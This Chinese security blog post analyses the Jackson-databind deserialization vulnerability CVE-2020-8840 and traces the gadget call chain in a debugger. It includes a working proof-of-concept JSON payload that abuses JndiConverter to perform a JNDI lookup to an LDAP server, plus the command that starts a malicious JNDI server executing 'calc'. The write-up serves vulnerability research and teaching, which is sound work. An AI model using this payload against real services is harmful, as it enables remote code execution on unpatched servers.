以CVE-2020-8840为例分析Jackson漏洞

阅读量    116877 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

前面讲了FastJson的相关漏洞,温少属实辛苦。这次来看下另一种JSON解析库:“世界上最好的JSON解析库—Jackson”,并以CVE-2020-8840来详细分析下Jackson的漏洞。

 

0x01 Jackson的介绍和使用

FastJson将思路全都集中到“速度快”上去,而偏离了“标准”及功能性,质量也不够好,有点“舍本逐末”的味道。而Jackson不仅开源稳定易使用,而且拥有Spring生态加持,更受使用者的青睐。

目前Jackson主要有两个分支:

  • 1.x分支,处于维护模式
  • 2.x是正在开发的版本

Jackson由三个核心部分组成:

  • jackson-core:核心包,提供基于流模式API
  • jackson-annotations:注解包,提供标准注解功能
  • jackson-databind:数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API

JacksonPolymorphicDeserialization

JacksonPolymorphicDeserialization意为Jackson多态类型处理功能,有两种方式:

  • Global default typing
  • Per-class annotations

Global default typing配置哪些类被序列化:

1

  • JAVA_LANG_OBJECT:仅影响Object.class类型的属性
  • OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口)PS:无参时默认为此项
  • NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有数组类型都相同(直接元素是非具体类型或Object.class)
  • NON_FINAL:影响所有未声明为“final”的类型,以及非final元素类型的数组类型

Per-class annotations

除了Global default typing,还可以利用@JsonTypeInfo注解来控制序列化和反序列化。
@JsonTypeInfo一共支持五种注解:

Jackson的栗子

以默认OBJECT_AND_NON_CONCRETE为例演示一下它的功能:

package com.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JavaLangObject {
    public static void main(String[] args) throws IOException {
        People Me = new People();
        Me.age = 20;
        Me.object = new patrilic();
        Me.name = new MyName();
        Me.name.setName("lceCre4m");
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = mapper.writeValueAsString(Me);
        System.out.println("序列化");
        System.out.print(json);
        System.out.println("\n");
        People Mee = mapper.readValue(json, People.class);
        System.out.println("反序列化");
        System.out.println(Mee);
    }
}
class People {
    public int age;
    public Name name;
    public Object object;

    @Override
    public String toString() {
        return String.format("age = %d, object = %s, name = %s", age, object, name);
    }
}
class patrilic {
    public int length = 100;
}
class MyName implements Name {
    String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}
interface Name {
    public void setName(String name);
    public String getName();
}

此时正常输出:

序列化
{"age":20,"name":["com.jackson.MyName",{"name":"lceCre4m"}],"object":["com.jackson.patrilic",{"length":100}]}

反序列化
age = 20, object = com.jackson.patrilic@4cf777e8, name = com.jackson.MyName@2f686d1f

若使用JAVA_LANG_OBJECT,在反序列化时会报错,因为例子中存在非具体类型。

 

0x02 Jackson漏洞简述

Jackson的漏洞主要集中在jackson-databind中,当启用Global default typing,类似于FastJson的autoType,会存在各种各样的反序列化绕过类,而官方更新的防护措施一般都是将新出现的恶意类加入黑名单,不过这种方式治标不治本,最近jackson-databind的绕过出现不少。

下面仅以xbean-reflect类(影响2.0.0 – 2.9.10.2)为例,详细分析下Jackson的反序列化漏洞。

 

0x03 Jackson漏洞详细分析

环境搭建

环境:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar + IDEA

首先创建好项目后添加相关依赖,之后创建poc.java:

//poc.java

package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class poc {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
        mapper.readValue(json, Object.class);
    }
}

然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建ldap环境:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc

启动后触发payload

2

动态分析

首先在 mapper.readValue(json, Object.class)下断点,进行调试

3

单步步入_readMapAndClose(),读取JSON,配置DeserializationContext后,到达else段

4

然后继续步入到BeanDeserializer.class#deserialize(),步入vanillaDeserialize()

5

在vanillaDeserialize()里调用了createUsingDefault(),里面通过call()创建实例

6

7

返回vanillaDeserialize()后,调用了deserializeAndSet()

8

可以看到获取value值后,调用了_setter.invoke(instance, value)

9

步入后,通过传进的text触发,继续步入toObject()

10

在toObject()调用JndiConverter重写的toObjectImp()

11

进入恶意类,出现lookup(),JNDI注入,其中text可控,为我们传入的参数

12

完整调用如下:

13

最新版的黑名单:

14

。。。太长了

 

0x04 结语

这次继FastJson后分析了Jackson的一个漏洞,其他的Jackson-databind漏洞利用也类似,基本就是换个外部类,修复就是加入黑名单。之后分析一下java的gadget,像是Commons Collections、RMI、JNDI等等。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多